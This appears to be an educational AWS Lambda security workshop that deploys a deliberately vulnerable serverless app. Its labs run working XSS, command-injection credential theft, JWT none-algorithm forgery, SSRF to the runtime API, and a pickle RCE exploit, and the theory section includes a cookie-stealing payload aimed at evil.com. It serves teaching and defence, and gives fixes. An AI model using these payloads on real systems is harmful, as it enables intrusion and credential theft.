Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Welcome

AWS Lambda Security Workshop

by Anjali & Divyanshu (theshukladuo) at Peachycloud Security

Peachy Cloud Security, by The Shukla Duo

https://lambdasecurity.peachycloudsecurity.com

Hands-on primer on AWS Lambda and API Gateway security for security engineers, developers, and cloud practitioners who want to understand how serverless applications get attacked. No prior serverless experience required. We deploy a deliberately vulnerable app, then exploit every OWASP Serverless Top 10 vulnerability live.

Syllabus

  • Welcome
  • Lab: Setup GitHub Codespace
  • Serverless Basics
  • Injection & XSS
    • Theory: What is Injection?
    • Lab: Cross-Site Scripting (XSS)
    • Lab: Command Injection and Credential Theft
  • Lab: Broken Authentication
  • SSRF — Server-Side Request Forgery
    • Lab: SSRF to Lambda Runtime
  • Insecure Deserialization
    • Lab: Pickle RCE
  • Lab: Broken Access Control
  • Lab: Security Misconfiguration
  • Lab: Insecure Third-Party Components
  • Lab: Insufficient Logging & Monitoring
  • ReDoS — Denial of Service
    • Lab: Regular Expression Denial of Service
  • Thank you

Prerequisites

  • GitHub account with Codespaces enabled.
  • Browser that loads GitHub Codespaces normally.
  • Familiarity with the Linux command line.
  • AWS account with an IAM user that has programmatic access (access key and secret key).

⚠️ Important: steps that look like attacks are only for environments you are authorised to test. Do not use them on systems you do not own or lack written permission to assess.

About us

  • Anjali is a seasoned cloud security engineer, experienced in DevSecOps and Kubernetes security (EKS/GKE) as well as AWS, Azure, and GCP security. She is the founder of Container Security Village and Kubernetes Village, communities dedicated to enhancing cloud-native security. As the project lead for OWASP EKS Goat, she focuses on AWS EKS security research and hands-on exploitation paths. Anjali is a recognized AWS Community Builder and actively shares her research through her YouTube channel, @peachycloudsecurity. Her extensive speaking history includes Blackhat USA, Black Hat Spring USA, Black Hat Europe, Nullcon, Seasides Goa, BSides Bangalore, CSA Bangalore, and C0c0n. She has also contributed to the community by volunteering at Cloud Village at DEF CON and various BSides events globally. Reach out at peachycloudsecurity[dot]com

  • Divyanshu is a senior security engineer, experienced in Cloud Security, Kubernetes Security, DevSecops, Web Application Pentesting, and Threat Modelling. Reported multiple vulnerabilities to companies like Airbnb, Google, Microsoft, AWS, Apple, Amazon, Samsung, Zomato, Xiaomi, Alibaba, Opera, Protonmail, Mobikwik, etc, and received CVE-2019-8727 CVE-2019-16918, CVE-2019-12278, CVE-2019-14962 for reporting issues. Currently co-lead of OWASP EKS Goat, OWASP GKE Goat, Author of Burp-o-mation and a very-vulnerable-serverless application. Also part of AWS Community Builder for security and Defcon Cloud Village crew member 2020/2021/2022. Delivered talks at events like Blackhat USA, Europe, Seasides, C0c0n, Nullcon, Brucon, Bsides Bangalore and Bsides Ahmedabad. Also winner of “Cybersecurity samurai 2023” at Bsides Bangalore 2023 & “Cloud Security Champion’’ at CSA Bangalore 2023. Reach out at peachycloudsecurity[dot]com

Contact: Peachycloud Security

💝 Support the Project

Your support helps us maintain and improve this workshop, create more educational content, and continue building open-source security resources for the community.

Ways to Support:

Looking for personalized guidance? Get one-on-one mentorship, interview prep, or custom training sessions through our Topmate platform.

Disclaimer

  • The information, commands, and demonstrations presented in this lab including any course, are intended strictly for educational purposes. Under no circumstances should they be used to compromise or attack any system outside the boundaries of this educational session unless explicit permission has been granted.

    • This course is provided by the instructors independently and is not endorsed by their employers or any other corporate entity. The content does not necessarily reflect the views or policies of any company or professional organization associated with the instructors.
  • Usage of Training Material: The training material is provided without warranties or guarantees. Participants are responsible for applying the techniques or methods discussed during the training. The trainers and their respective employers or affiliated companies are not liable for any misuse or misapplication of the information provided.

  • Liability: The trainers, their employers, and any affiliated companies are not responsible for any direct, indirect, incidental, or consequential damages arising from the use of the information provided in this course. No responsibility is assumed for any injury or damage to persons, property, or systems as a result of using or operating any methods, products, instructions, or ideas discussed during the training.

  • Intellectual Property: This course and all accompanying materials, including slides, worksheets, and documentation, are the intellectual property of the trainers. They are shared under the GPL-3.0 license, which requires that appropriate credit be given to the trainers whenever the materials are used, modified, or redistributed.

  • References: Some of the labs referenced in this workshop are based on open-source material. Additionally, modifications and fixes have been applied using AI tools such as Amazon Q, ChatGPT, and Gemini.

  • Educational Purpose: This lab is for educational purposes only. Do not attack or test any website or network without proper authorization. The trainers are not liable or responsible for any misuse.

  • Usage Rights: Individuals are permitted to use this course for instructional purposes, provided that no fees are charged to the students.

Lab: Setup and Deploy

In this lab you will fork the vulnerable application repository, open it in a GitHub Codespace, deploy it to your AWS account, and confirm it is running.

Everything runs inside the Codespace terminal. You will not install anything on your local machine.

Fork the repository

  1. Open peachycloudsecurity/very-vulnerable-serverless in your browser.
  2. Click Fork in the top-right corner and complete the fork flow. Wait until GitHub opens your fork.

⚠️ Disclaimer: Training sessions may point at a different branch or fork. Always use the repository URL your instructor gives you. This guide uses the public workshop repo above.

Open in Codespace

  1. Go to your fork of the repository.
  2. Click the green Code button, then open the Codespaces tab.
  3. Choose Create codespace on main.
  4. Wait for the environment to build. First start takes one to two minutes. When the editor loads, you have a VS Code environment in the browser with an integrated terminal.

Install tools

Run these in the Codespace integrated terminal.

Install OSLS (open-source Serverless Framework):

npm install -g osls

Install the AWS CLI (downloaded in /tmp so the installer never lands in the project folder, where it would get packaged into the Lambda):

cd /tmp
curl -s "https://awscli.amazonaws.com/awscli-exe-linux-$(uname -m).zip" -o awscliv2.zip
unzip -q awscliv2.zip
sudo ./aws/install
cd -
aws --version

Install project dependencies (serverless plugins):

npm install

Configure AWS credentials

You need an AWS IAM user with programmatic access. Run:

aws configure

Enter your values when prompted:

AWS Access Key ID: <your-access-key>
AWS Secret Access Key: <your-secret-key>
Default region name: us-east-1
Default output format: json

Verify the credentials work:

aws sts get-caller-identity

You should see your account ID and IAM user ARN.

Deploy the application

osls deploy

This takes about 90 seconds. When it finishes, you will see output like:

endpoints:
  ANY - https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/dev
  ANY - https://xxxxxxxxxx.execute-api.us-east-1.amazonaws.com/dev/{proxy+}

Save the endpoint URL

Run this to extract the endpoint and save it so every terminal can use it:

ENDPOINT=$(osls info --verbose 2>/dev/null | grep "ANY -" | head -1 | awk '{print $NF}' | sed 's|/{proxy+}||')
echo "export ENDPOINT=\"$ENDPOINT\"" > ~/.lab-env
source ~/.lab-env
echo "Endpoint saved: $ENDPOINT"

You should see your full API Gateway URL printed. From now on, every lab command uses $ENDPOINT.

New terminal? Run source ~/.lab-env to reload the variable.

Verify the deployment

curl -s "$ENDPOINT/"

You should see HTML output containing Very Vulnerable Serverless. If you see this, the application is live.

Open the URL in your browser to see the landing page.

Your working directory

You are already in the repository directory. All lab commands run from here. You will use cat to view source code and curl to hit endpoints.

pwd
# Should show: /workspaces/very-vulnerable-serverless

Troubleshooting

  • osls deploy fails with credentials error: Run aws sts get-caller-identity to verify your AWS credentials are configured.
  • 502 Bad Gateway on first request: Lambda cold starts can take a few seconds. Wait 5 seconds and try again.
  • npm install -g osls permission error: Run sudo npm install -g osls.
  • osls deploy fails with Unzipped size must be smaller than 262144000 bytes: The AWS CLI installer was unzipped inside the project folder. Run rm -rf aws awscliv2.zip .serverless, then osls deploy again.
  • Codespace slow or stuck: Stop the Codespace from GitHub and start a new one.
  • $ENDPOINT is empty in a new terminal: Run source ~/.lab-env.

Next step: What is Serverless?

What is Serverless?

Serverless means the cloud provider manages the servers. You write a function, upload it, and the provider runs it when a request arrives. You do not provision, patch, or scale any operating system.

AWS Lambda is the compute service. It runs your code in response to events. API Gateway is the front door. It receives HTTP requests from the internet and routes them to your Lambda function.

API Gateway

API Gateway is a managed service that sits between the internet and your Lambda functions. It handles:

  • Routing — maps HTTP methods and paths to Lambda functions
  • Throttling — default 10,000 requests/second per region
  • Authorization — IAM, Cognito, or custom Lambda authorizers
  • Stages — deploy to dev, staging, prod with separate URLs

Two types: REST API (full-featured, WAF support, request validation) and HTTP API (cheaper, faster, fewer features). This workshop uses REST API.

Each deployed endpoint gets a URL like: https://<api-id>.execute-api.<region>.amazonaws.com/<stage>/

Security note: API Gateway does not validate request bodies by default. Input validation is your responsibility in the Lambda code — which is why injection attacks work.

How a Request Flows

flowchart TD
    A[Browser / curl] -->|HTTPS request| B[API Gateway]
    B -->|Invoke| C[AWS Lambda]
    C -->|Execute| D[Your Python code]
    D -->|Return| E[HTTP Response]
    C -.->|IAM role| F[AWS Services<br/>S3, DynamoDB, etc.]

There is no EC2 instance, no Nginx, no Docker container in between. The Lambda function starts, runs, and shuts down automatically.

Lambda Internals

Firecracker microVM

Every Lambda function runs inside a Firecracker microVM — a lightweight virtual machine created by AWS. Firecracker boots in ~125ms and provides hardware-level isolation between functions. Each execution environment is a separate microVM with its own kernel, so one customer’s code cannot access another’s memory or filesystem.

This is why the Lambda sandbox user is sbx_user1051 — you will see this when you run id in the command injection lab.

Invocation

An invocation is one execution of your function. API Gateway receives a request → invokes Lambda → Lambda runs your code → returns the response. Each invocation is billed by duration (in 1ms increments) and memory allocated.

Cold Start vs Warm Start

Cold startWarm start
WhenFirst request, or after idle timeout (~5-15 min)Subsequent requests while environment is alive
What happensDownload code → start microVM → init runtime → run handlerRun handler directly (environment already loaded)
Latency100ms–10s (depends on runtime, package size, VPC)< 10ms overhead

Cold start creates a new execution environment from scratch. Warm start reuses an existing one. The /tmp filesystem persists between warm invocations — which is why our pickle RCE lab can verify file creation with a separate request.

Security implication: Data in /tmp and global variables survive between invocations. If one request writes sensitive data to /tmp, the next request (possibly from a different user) can read it.

Timeout and Limits

LimitValue
Max execution time15 minutes (our app uses default 6s)
Max memory10,240 MB
Max deployment package50 MB (zipped), 250 MB (unzipped)
Max /tmp storage10 GB
Environment variable size4 KB total

If a function hits the timeout, Lambda kills it and API Gateway returns 502 Bad Gateway. You will see this in the ReDoS lab — a single crafted string makes the function run until timeout.

Concurrency

Concurrency = number of invocations running at the same time. Each concurrent request gets its own execution environment (its own Firecracker microVM).

Concurrency limitValue
Default per region1,000 concurrent executions
Can request increaseUp to tens of thousands
Reserved concurrencyGuarantee capacity for a specific function
Provisioned concurrencyPre-warm environments to avoid cold starts

If 100 users hit your API at the same time, Lambda spins up 100 microVMs. If you hit the concurrency limit, additional requests are throttled (429 Too Many Requests).

Security implication: An attacker who triggers many concurrent invocations (e.g., via ReDoS) can exhaust your concurrency limit and deny service to legitimate users across ALL Lambda functions in the account.

Reference: AWS Lambda — How it works

What changes for security?

Traditional servers have a known attack surface: SSH, open ports, unpatched OS libraries. Serverless removes those, but introduces a different set of risks:

Traditional server riskServerless equivalent
Unpatched OSVulnerable third-party packages in your deployment
Open SSH portOverly permissive IAM role attached to the function
Secrets in config files on diskSecrets in plaintext environment variables (visible in console, logs, and printenv)
Web app injection (SQLi, XSS)Same injection flaws — the code still runs user input
Server-side request forgerySSRF can reach the Lambda runtime API at 169.254.100.1:9001
Denial of service (network flood)ReDoS — a single crafted request can exhaust the function timeout

The code vulnerabilities are the same. The infrastructure vulnerabilities are different.

OWASP Serverless Top 10

The OWASP Serverless Top 10 is a list of the most critical security risks in serverless applications. In this workshop we exploit all ten.

#VulnerabilityWhat we will do
SLS-1InjectionInject JavaScript (XSS) and OS commands
SLS-2Broken AuthenticationForge an admin JWT with the None algorithm attack
SLS-3Sensitive Data Exposure / SSRFReach the Lambda runtime API via SSRF
SLS-4Insecure DeserializationExecute arbitrary code via Python pickle
SLS-5Broken Access ControlAbuse an IAM role with s3:* on *
SLS-6Security MisconfigurationReview secrets in environment variables and overpermissive IAM
SLS-7Cross-Site ScriptingReflect unescaped input in the browser
SLS-8Insecure Third-Party ComponentsIdentify outdated packages with known CVEs
SLS-9Insufficient Logging & MonitoringObserve zero alarms and no tracing
SLS-10Event Injection / ReDoSCrash a Lambda with a single regex payload

Next step: Injection

Injection

Injection is the #1 web vulnerability. An attacker sends malicious input that the application executes as code or commands instead of treating it as plain data.

In serverless applications, injection targets Lambda functions through API Gateway inputs — query parameters, form fields, URL path segments, and HTTP headers. The Lambda function receives these inputs and, if it trusts them blindly, passes them into dangerous operations like HTML rendering, shell commands, or database queries.

What we cover

  • Cross-Site Scripting (XSS) — client-side injection where malicious JavaScript runs in a victim’s browser.
  • OS Command Injection — server-side injection where user input is passed directly to a system shell, giving the attacker full control of the Lambda execution environment.

Both vulnerabilities exist because the application never validates or sanitizes what the user sends.

Theory: What is Injection?

Injection happens when an application takes user input and treats it as executable code. Instead of reading the input as data, the application runs it — as HTML, as a shell command, as a database query.

The root cause is always the same: the application trusts user input without checking or escaping it.

Cross-Site Scripting (XSS)

XSS is injection into a web page. The attacker sends JavaScript inside a form field or URL parameter. The server reflects that input back into an HTML page without encoding it. The victim’s browser sees the JavaScript and runs it.

What an attacker can do with XSS:

  • Steal session cookies and authentication tokens
  • Redirect the user to a phishing page
  • Modify the page content (defacement)
  • Capture keystrokes and form data

Example: A search page displays “Results for: hacker” by inserting the search term directly into the HTML. If the search term is <script>document.location='https://evil.com/steal?c='+document.cookie</script>, the browser executes it and sends the victim’s cookies to the attacker.

OS Command Injection

Command injection happens when user input is passed into a system shell. The attacker sends shell commands instead of normal input, and the server executes them.

What an attacker can do with command injection:

  • Read any file on the server (source code, configuration, secrets)
  • Run system commands (id, whoami, ls, cat)
  • In AWS Lambda specifically: dump environment variables that contain AWS credentials (access key, secret key, session token)
  • Use those stolen credentials to access other AWS services (S3 buckets, DynamoDB tables, other Lambda functions)

Example: An endpoint that runs date lets the user pass a format string. If the code uses subprocess.Popen(user_input, shell=True), the attacker can send id; cat /etc/passwd and the shell runs both commands.

Real-World Impact

  • XSS is one of the most common bug bounty findings. Programs pay $500 to $10,000+ per report depending on impact. It is used in targeted phishing, session hijacking, and account takeover attacks.
  • Command injection gives full server access. In cloud environments, this means stealing IAM credentials and pivoting to other services. The Capital One breach (2019) involved credential theft from cloud metadata — one vulnerability led to 100 million records exposed.

How to Prevent Injection

  • Never trust user input. Validate, sanitize, and escape everything that comes from outside your application.
  • For XSS: Use a template engine with auto-escaping enabled. Never insert raw user input into HTML.
  • For command injection: Never use shell=True in subprocess calls. Use parameterized commands with argument lists instead.
  • For SQL injection: Use parameterized queries or an ORM. Never concatenate user input into SQL strings.

Lab: Cross-Site Scripting (XSS)

OWASP Serverless Top 10: SLS-1 (Injection), SLS-7 (XSS)

Objective

Inject HTML and JavaScript into the application and observe it appearing in the server response without any encoding or filtering.

Real-World Parallel

Bug bounty programs pay $500 to $10,000+ for reflected XSS in production applications. Attackers use XSS to steal session tokens, redirect users to phishing sites, and take over accounts.

Why This App is Vulnerable

The /welcome/<name> endpoint uses Python string formatting to insert user input directly into the response:

return "<html><body><h2>welcome %s</h2></body></html>" % name

There is no HTML encoding, no escaping, no Content-Security-Policy header. Whatever you send in the URL is returned as-is in the HTML response.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

1. Send a normal request

curl "$ENDPOINT/welcome/hacker"

Expected output:

<html><body><h2>welcome hacker</h2></body></html>

The app takes the name from the URL and puts it in the response. So far, nothing unusual.

2. Inject HTML tags

curl "$ENDPOINT/welcome/<b>hacker</b>"

Expected output:

<html><body><h2>welcome <b>hacker</b></h2></body></html>

The <b> tags are returned as raw HTML. If you opened this in a browser, “hacker” would appear bold. The server did not strip or encode the HTML — it returned it exactly as you sent it.

3. Inject a JavaScript payload

curl "$ENDPOINT/welcome/<img src=x onerror=alert(1)>"

Expected output:

<html><body><h2>welcome <img src=x onerror=alert(1)></h2></body></html>

The <img> tag with an onerror JavaScript handler is in the response. In a browser, this image fails to load (src=x does not exist), which triggers the onerror handler and runs alert(1).

4. Inject via the login form

The landing page has a form that submits to /login, which redirects to /welcome/<name>. The payload travels through the redirect:

curl -L -d "name=<img src=x onerror=alert(document.cookie)>" "$ENDPOINT/login"

Expected output:

<html><body><h2>welcome <img src=x onerror=alert(document.cookie)></h2></body></html>

An attacker could send a victim a link like https://<endpoint>/dev/login?name=<payload> and steal their cookies when they click it.

What Happened

The application reflected user input directly into the HTML response without encoding it. The server treated our input as trusted HTML instead of plain text. In a browser, the injected JavaScript executes with full access to the page — cookies, DOM, and any data the user can see.

Note: Payloads containing </script> do not work in the URL path because the / character breaks the URL routing. Use self-closing tags like <img> that do not contain forward slashes.


Next step: Lab: Command Injection and Credential Theft

Lab: Command Injection and Credential Theft

OWASP Serverless Top 10: SLS-1 (Injection), SLS-5 (Broken Access Control), SLS-6 (Security Misconfiguration)

Objective

Execute arbitrary OS commands on the Lambda function, steal AWS credentials from the environment, and use them to access other AWS services.

Real-World Parallel

The Capital One breach (2019) involved credential theft from a cloud instance. One vulnerability — server-side request forgery combined with overpermissive IAM — led to 100 million customer records exposed. The same pattern applies here: one injection vulnerability plus a wide-open IAM role gives the attacker access to everything.

Why This App is Vulnerable

The /date endpoint passes user input directly to a shell:

cmd = request.args.get('exec')
subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)

shell=True tells Python to execute the string in a system shell. The application does not validate or restrict what commands can be run.

On top of that, the Lambda function’s IAM role grants s3:* on Resource: "*" — full access to every S3 bucket in the AWS account.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

1. Confirm command execution

curl "$ENDPOINT/date?exec=id"

Expected output:

{"output":"uid=993(sbx_user1051) gid=990 groups=990\n"}

You are running commands as the Lambda sandbox user.

2. Explore the Lambda filesystem

curl "$ENDPOINT/date?exec=ls+-la"

You see the Lambda function’s files: app.py, requirements.txt, templates/, and the WSGI handler.

3. Read the application source code

curl "$ENDPOINT/date?exec=cat+app.py"

You can read the full source code, including the hardcoded Flask secret key: ThisisSuperFlagBySecurityDojo. This is SLS-2 (Broken Authentication) — secrets should never be hardcoded.

4. Steal AWS credentials

curl "$ENDPOINT/date?exec=printenv"

In the output, find these three values:

AWS_ACCESS_KEY_ID=ASIA...
AWS_SECRET_ACCESS_KEY=...
AWS_SESSION_TOKEN=IQoJb3...

You also see VARIABLE_1=supersecret99 — an application secret stored as a plaintext environment variable, visible to anyone with command execution.

5. Use the stolen credentials

In your Codespace terminal, export the credentials from step 4:

export AWS_ACCESS_KEY_ID=ASIA...   # copy from step 4 output
export AWS_SECRET_ACCESS_KEY=...   # copy from step 4 output
export AWS_SESSION_TOKEN=IQoJ...   # copy from step 4 output

Verify you are now authenticated as the Lambda function’s IAM role:

aws sts get-caller-identity

Expected output:

{
    "UserId": "AROA...:very-vulnerable-serverless-dev-app",
    "Account": "523561755519",
    "Arn": "arn:aws:sts::523561755519:assumed-role/very-vulnerable-serverless-dev-..."
}

6. Enumerate S3 buckets

aws s3 ls

The IAM role has s3:* on *. You can list every bucket in the account, read their contents, upload files, and delete objects.

7. Clean up stolen credentials

After the lab, unset the environment variables so they do not interfere with your own AWS CLI:

unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN

What Happened

shell=True with unsanitized user input gave us arbitrary command execution on the Lambda function. From there, AWS credentials were one printenv away — Lambda stores IAM credentials in environment variables by design. The overpermissive IAM role (s3:* on *) turned a single injection vulnerability into full access to every S3 bucket in the account.

This is how real cloud breaches chain together: injection → credential theft → lateral movement.


Next step: SSRF

SLS-2: Broken Authentication

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

Theory: What is Broken Authentication?

Authentication answers “who are you?”. It breaks when the app lets an attacker skip, fake, or guess the proof of identity (weak passwords, missing token checks, forgeable tokens). Result: attacker acts as any user, including admin.

Example: A login token says role: user. If the server never checks the token is genuine, you edit it to role: admin and the server believes you.

Objective

Bypass JWT authentication by forging an admin token using the None algorithm attack.

JWT recap: A JSON Web Token has three base64-encoded parts separated by dots — Header (algorithm and type), Payload (claims like username and role), and Signature (verifies the token was not tampered with). Example: header.payload.signature.

The Vulnerable Code

The /verify endpoint decodes JWT tokens without checking the signature:

decoded = jwt.decode(token, options={"verify_signature": False}, algorithms=["HS256", "none"])

verify_signature: False means the server trusts whatever is in the token — it never checks if the signature is valid. An attacker can modify the payload and the server will accept it.

Steps

1. Generate a token

curl -s -X POST "$ENDPOINT/token" -d "username=hacker"

Expected output:

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJ1c2VyIn0.cC0iIH48WNKLvfJDxUA9vOQ4fp_mlBOjUQnvQ9uIBVM"}

You are assigned role: user.

2. Try to generate an admin token

curl -s -X POST "$ENDPOINT/token" -d "username=admin"

Expected output:

{"error":"Admin token generation is restricted"}

The server blocks admin token generation. But we do not need the server to make one for us.

3. Decode your token

A JWT has three parts separated by dots: header, payload, signature. Decode the payload:

echo "eyJ1c2VybmFtZSI6ImhhY2tlciIsInJvbGUiOiJ1c2VyIn0" | base64 -d

Output:

{"username":"hacker","role":"user"}

4. Forge an admin token (None algorithm attack)

Create a new header with alg: none and a payload with role: admin:

HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
PAYLOAD=$(echo -n '{"username":"admin","role":"admin"}' | base64 | tr -d '=' | tr '+/' '-_')
FORGED="${HEADER}.${PAYLOAD}."
echo "$FORGED"

The token ends with a dot and no signature — because alg: none means “no signature required.”

5. Verify the forged token

curl -s -X POST "$ENDPOINT/verify" -d "token=$FORGED"

Expected output:

{"claims":{"role":"admin","username":"admin"},"valid":true}

The server accepted your forged token. You are now admin.

What Happened

The server set verify_signature: False, which means it decodes the JWT payload without checking the signature. The None algorithm attack works because the server also accepts alg: none in the token header.

In a real application, this would let an attacker bypass authentication entirely — escalate privileges, access admin endpoints, impersonate any user.

Fix: Always verify JWT signatures. Never set verify_signature: False. Restrict accepted algorithms to a single expected value (algorithms=["HS256"]) and never include "none".


Next step: SSRF

SSRF — Server-Side Request Forgery

SSRF tricks the server into making HTTP requests to internal services the attacker cannot reach directly. The attacker controls the URL; the server fetches it.

In AWS Lambda, internal services include the Lambda Runtime API on localhost:9001 and cloud metadata endpoints. These are never exposed to the internet, but an SSRF vulnerability lets the attacker reach them through the Lambda function itself.

SSRF to cloud metadata is one of the most common cloud attack paths. The 2019 Capital One breach used SSRF against IMDSv1 metadata to steal IAM credentials and access over 100 million customer records.

OWASP Serverless Top 10: SLS-3 — Sensitive Data Exposure

Lab: SSRF to Lambda Runtime

Objective

Use SSRF to reach internal services inside the Lambda execution environment and leak sensitive data.

Why This Matters

Cloud services run internal APIs that are never exposed to the internet. AWS Lambda has a Runtime API on 169.254.100.1:9001 that manages invocations. If an attacker can make the Lambda fetch an arbitrary URL, they can reach these internal services and extract data that should never leave the function.

Real-world parallel: SSRF to the EC2 metadata service at 169.254.169.254 has been exploited in major breaches including Capital One (2019), where attackers used SSRF to steal IAM credentials and access S3 buckets containing 100+ million customer records.

The Vulnerable Code

The /redirect endpoint fetches whatever URL the caller passes:

@app.route('/redirect')
def web():
    site = request.args.get('url')
    response = urllib.request.urlopen(site)    # no allowlist
    output = json.dumps(response.read().decode('utf-8'))
    return jsonify({"output": output}), 200

There is no validation on the url parameter. The server will fetch any address — external or internal.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

Step 1 — Confirm SSRF with an external URL

Fetch a public service to prove the Lambda is making requests on your behalf:

curl "$ENDPOINT/redirect?url=https://httpbin.org/ip"

You will see the Lambda function’s public IP address in the response — not yours. The server made the request, not your browser.

Step 2 — Reach the Lambda Runtime API

The Lambda Runtime API runs on 169.254.100.1:9001 inside every Lambda function. It is meant for the Lambda runtime only. Hit it:

curl "$ENDPOINT/redirect?url=http://169.254.100.1:9001/2018-06-01/runtime/invocation/next"

This returns invocation context that should never leave the function — request IDs, deadlines, and internal routing information.

Step 3 — Understand the impact

From here, an attacker could:

  • Read internal configuration and environment variables
  • Chain with command injection to steal AWS credentials (we did this in the previous lab)
  • Reach other internal services running on localhost or within the VPC

What Happened

The application trusts user input as a URL and fetches it without any validation. There is no allowlist of permitted domains or protocols. The server becomes a proxy that reaches internal services the attacker cannot access directly.

Fix: Validate URLs against an allowlist of permitted domains. Block private IP ranges (127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16). Use a URL parser to check the resolved IP, not just the hostname (to prevent DNS rebinding).

SLS-4: Insecure Deserialization

What is Serialization?

Serialization converts an object into a flat format (bytes, string) so it can be stored or sent over a network. Deserialization is the reverse — it rebuilds the object from that flat format.

Think of it like packing a suitcase. Serialization packs your belongings into a suitcase. Deserialization unpacks them. If someone hides a bomb in the suitcase and you open it without checking — it explodes.

flowchart LR
    A[Python Object] -->|serialize| B[Bytes / String]
    B -->|deserialize| C[Python Object]
    B -->|attacker injects code| D[Malicious Object]
    D -->|deserialize| E[Code Executes]

JSON is safe — it only carries data. Pickle is dangerous — it can execute arbitrary code during deserialization. Passing user input to pickle.loads() is the same as passing it to eval().

How to Spot It

Look for these in code:

LanguageDangerous Function
Pythonpickle.loads(), yaml.load() (without SafeLoader), marshal.loads()
JavaObjectInputStream.readObject()
PHPunserialize()

Any endpoint that accepts serialized data from users is a target.

Lab: Pickle RCE

Objective

Achieve Remote Code Execution on the Lambda function by sending a malicious pickle payload.

Why This Matters

Python’s pickle.loads() executes arbitrary code during deserialization. If an application unpickles data from a user, the attacker controls what code runs on the server. This is not a bug in pickle — it is how pickle works. The bug is trusting user input.

Real-world examples: ML platforms that load untrusted .pkl model files, web applications that accept pickled session data, and data pipelines that deserialize messages from external sources.

The Vulnerable Code

The /deserial endpoint accepts a base64-encoded pickle payload and loads it directly:

@app.route('/deserial', methods=['POST'])
def deserial():
    data = base64.urlsafe_b64decode(request.form['pickled'])
    pickle.loads(data)    # executes arbitrary code
    return 'pickled successfully', 200

No validation, no sanitization. Whatever object the payload contains gets deserialized and its code runs.

Steps

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless
source ~/.lab-env

Step 1 — Create the exploit script

In your Codespace terminal, create a file called exploit.py:

cat > ~/exploit.py << 'EOF'
import pickle, base64

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('touch /tmp/pwned',))

payload = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode()
print(payload)
EOF

The __reduce__ method tells pickle how to reconstruct the object. We made it call os.system('touch /tmp/pwned') — this creates a file on the Lambda filesystem to prove we have code execution.

Step 2 — Generate the payload

python3 ~/exploit.py

Copy the base64 string from the output.

Step 3 — Send the payload

curl -X POST "$ENDPOINT/deserial" \
  -d "pickled=$(python3 exploit.py)"

Expected response: pickled successfully

The Lambda deserialized our object and ran os.system('touch /tmp/pwned').

Step 4 — Verify code execution

Use the command injection endpoint to check if our file was created:

curl "$ENDPOINT/date?exec=ls%20-la%20/tmp/pwned"

Expected output:

{"output":"-rw-rw-r-- 1 sbx_user1051 990 0 Oct  6 11:10 /tmp/pwned\n"}

The file exists. We achieved Remote Code Execution through deserialization.

Step 5 — Understand the full impact

touch /tmp/pwned is a harmless proof of concept. In a real attack, the payload could:

  • Run printenv to steal AWS credentials (just like the command injection lab)
  • Download and execute a reverse shell
  • Read application source code and configuration
  • Exfiltrate data to an attacker-controlled server

Any command that works in the command injection lab works here too — the difference is the entry point.

What Happened

pickle.loads() on untrusted input is equivalent to eval(). The __reduce__ method lets an attacker define arbitrary code that runs automatically when the object is deserialized.

Fix: Never use pickle.loads() on data from users or external sources. Use safe serialization formats like JSON. If you must deserialize structured data, use schema-validated formats (JSON Schema, Pydantic, marshmallow). For ML models, use ONNX or SafeTensors instead of pickle.

SLS-5: Broken Access Control

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless

Theory: What is Broken Access Control?

Access control answers “what are you allowed to do?”. It breaks when a user or service has more permissions than it needs. In AWS this is the IAM role attached to the Lambda: if it is too broad, anyone who steals its credentials gets all that power.

Example: A function that only reads one DynamoDB table but has s3:* on everything. A hacker who takes over the function can now delete every S3 bucket.

Objective

Check the Lambda’s IAM role and see how much more access it has than it needs.

The Lambda function’s IAM role grants s3:* on Resource: "*" — full access to every S3 bucket in the account. The function itself never uses S3.

In the command injection lab, we stole AWS credentials with printenv. Those credentials carry this overpermissive role, giving the attacker access to all S3 buckets — including buckets belonging to other applications in the same account.

Check the IAM configuration:

grep -A4 'statements:' serverless.yml

Output:

statements:
  - Effect: Allow
    Action:
      - s3:*
    Resource: "*"

Impact: A single injection vulnerability chains into full S3 access across the account. The function does not need S3 at all, but the role allows read, write, and delete on every bucket.

Fix: Follow the principle of least privilege. Grant only the specific actions on the specific resources the function needs. If the function does not use S3, remove the IAM statement entirely.


Next step: Security Misconfiguration

SLS-6: Security Misconfiguration

Before you start: make sure you are in the project directory.

cd /workspaces/very-vulnerable-serverless

Theory: What is Security Misconfiguration?

The code may be fine, but the settings are unsafe: secrets written in code, default or open permissions, debug left on. It is the easiest bug to find because the attacker just reads the repo or config.

Example: A password written in app.py and pushed to public GitHub. Anyone can copy it.

Objective

Hunt for hardcoded secrets, plaintext environment variables, and an over-broad IAM role in the project files.

Hardcoded Secrets in Source Code

Find the hardcoded secret in the application source code:

grep secret_key app.py

Output:

app.secret_key = 'ThisisSuperFlagBySecurityDojo'

Impact: The Flask secret key is hardcoded in a public repository. Anyone who reads the repo can forge session cookies, impersonate users, and bypass authentication entirely.

Plaintext Secrets in Environment Variables

Check for plaintext secrets in the deployment config:

grep -A1 'environment:' serverless.yml

Output:

environment:
  VARIABLE_1: supersecret99

Impact: This secret is stored in plaintext. It is visible in the serverless.yml file (committed to Git), the AWS Lambda console, the CloudFormation template, and the output of printenv — which we already demonstrated via command injection.

Overpermissive IAM Role

Check the IAM permissions:

grep -A4 'statements:' serverless.yml

Output:

statements:
  - Effect: Allow
    Action:
      - s3:*
    Resource: "*"

